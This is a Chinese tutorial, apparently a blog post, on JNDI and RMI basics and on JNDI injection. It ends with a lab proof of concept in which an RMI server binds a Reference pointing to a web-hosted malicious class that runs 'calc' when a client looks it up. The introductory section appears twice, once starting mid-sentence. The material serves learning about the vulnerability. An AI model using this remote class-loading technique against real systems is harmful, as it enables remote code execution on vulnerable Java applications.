1 JNDI
概述
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件,从而保持数据库代码不变动等。
JNDI结构
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
1 2 3 4 5 6 7 8 9
| javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
|
2 前置知识
RMI介绍
远程方法调用(RMI)顾名思义是一台机器上的程序调用另一台机器上的方法。这样可以大致知道RMI是用来干什么的,但是这种理解还不太确切。RMI是Java支撑分布式系统的基石,例如著名的EJB组件。RMI是远程过程调用(RPC)的一种面向对象实现,RMI底层是通过socket通信和对象序列化技术来实现的。
RMI基本原理
RMI的目的就是要使运行在不同的计算机中的对象之间的调用表现得像本地调用一样。RMI 应用程序通常包括两个独立的程序:服务器程序和客户机程序。RMI 需要将行为的定义与行为的实现分别定义, 并允许将行为定义代码与行为实现代码存放并运行在不同的 JVM 上。在 RMI 中, 远程服务的定义是存放在继承了 Remote 的接口中。远程服务的实现代码存放在实现该定义接口的类中。RMI 支持两个类实现一个相同的远程服务接口: 一个类实现行为并运行在服务器上, 而另一个类作为一个远程服务的代理运行在客户机上。客户程序发出关于代理对象的调用方法, RMI 将该调用请求发送到远程 JVM 上, 并且进一步发送到实现的方法中。实现方法将结果发送给代理, 再通过代理将结果返回给调用者。
通俗的来说,RMI就是能让我们去调用远程服务器上面的对象和方法、即使本地不存在该类。
RMI应用示例
代码实现
1 2 3
| public interface Hello extends java.rmi.Remote{ public String sayHello(String from) throws java.rmi.RemoteException; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import com.example.log4j2.test.Hello;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello { public HelloImpl() throws java.rmi.RemoteException { super(); }
@Override public String sayHello(String from) throws RemoteException { System.out.println("Hello from " + from + "!!");
return "sayHello"; } }
|
服务端类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import com.example.log4j2.test.impl.HelloImpl;
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry;
public class HelloServer { public static void main(String[] args) throws RemoteException, NamingException { LocateRegistry.createRegistry(1099);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext context = new InitialContext();
context.bind("hello", new HelloImpl());
context.close(); } }
|
客户端类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package com.example.log4j2.test.Client;
import com.example.log4j2.test.Hello;
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.rmi.RemoteException;
public class HelloClient { public static void main(String[] args) throws NamingException, RemoteException { System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext context = new InitialContext();
Hello rmiObject = (Hello) context.lookup("hello");
String result = rmiObject.sayHello("world");
System.out.println(result);
context.close(); } }
|
先运行HelloServer,再运行HelloClient,即可看到运行输出的结果:sayHello。
HelloServer将HelloImpl对象绑定到hello名称上。HelloClient使用hello名称,即可获取HelloImpl对象。
端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
以上是一段百度wiki的描述。简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件,从而保持数据库代码不变动等。
JNDI结构
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
1 2 3 4 5 6 7 8 9
| javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
|
2 前置知识
其实在面对一些比较新的知识的时候,个人会去记录一些新接触到的东西,例如类的作用。因为在看其他大佬写的文章上有些在一些前置需要的知识里面没有去叙述太多,需要自己去查找。对于刚刚接触到的人来说,还需要去翻阅资料。虽然说在网上都能查到,但是还是会有很多搜索的知识点,需要一个个去进行查找。所以在之类就将一些需要用到的知识点给记录到这里面。方便理解,也方便自己去进行翻看。
InitialContext类
构造方法:
1 2 3 4 5 6
| InitialContext() 构建一个初始上下文。 InitialContext(boolean abd) 构造一个初始上下文,并选择不初始化它。 InitialContext(Hashtable<?,?> environment) 使用提供的环境构建初始上下文。
|
代码:
1
| InitialContext initialContext = new InitialContext();
|
在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
常用方法:
1 2 3 4 5 6 7 8 9 10
| bind(Name name, Object obj) 将名称绑定到对象。 list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。 lookup(String name) 检索命名对象。 rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。
|
代码:
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/exp"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
|
Reference类
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:
1 2 3 4 5 6 7 8
| Reference(String className) 为类名为“className”的对象构造一个新的引用。 Reference(String className, RefAddr addr) 为类名为“className”的对象和地址构造一个新引用。 Reference(String className, RefAddr addr, String factory, String factoryLocation) 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 Reference(String className, String factory, String factoryLocation) 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
|
参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的class中需要实例化类的名称
参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议
3 JNDI注入攻击
在叙述JNDI注入前先来看一段源码。
代码示例:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com.rmi.demo;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/exploit"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri);
} }
|
在上面的InitialContext.lookup(uri)的这里,如果说URI可控,那么客户端就可能会被攻击。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。
JNDI注入+RMI实现攻击
下面还是来看几段代码,来做一个分析具体的攻击流程。
RMIServer代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.example.log4j2.JNDIRMI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIserver { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { String url = "http://127.0.0.1:8088/"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exploit", "Exploit", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("exp", referenceWrapper); System.out.println("running"); } }
|
RMIClient代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.example.log4j2.JNDIRMI;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class RMIClient { public static void main(String[] args) throws NamingException { String url = "rmi://localhost:1099/exp"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
|
恶意类,挂载在web页面上让server端去请求。
1 2 3 4 5 6 7 8
| package com.example.log4j2.JNDIRMI; import java.io.IOException;
public class Exploit { public static void main(String[] args) throws IOException { Runtime.getRuntime().exec("calc"); } }
|
使用javac命令,将该类编译成class文件挂载在web页面上。

先运行RMIServer把恶意类绑定在RMI的Registry 里面,然后在运行RMIClient,在客户端调用lookup远程获取远程类的时候就会去寻找我们在RMI里面绑定的恶意类,请求到远程的类后会在本地进行执行。

我在这里其实是执行失败了,因为在高版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。而在低版本中这几个选项默认为true,可以远程加载一些类。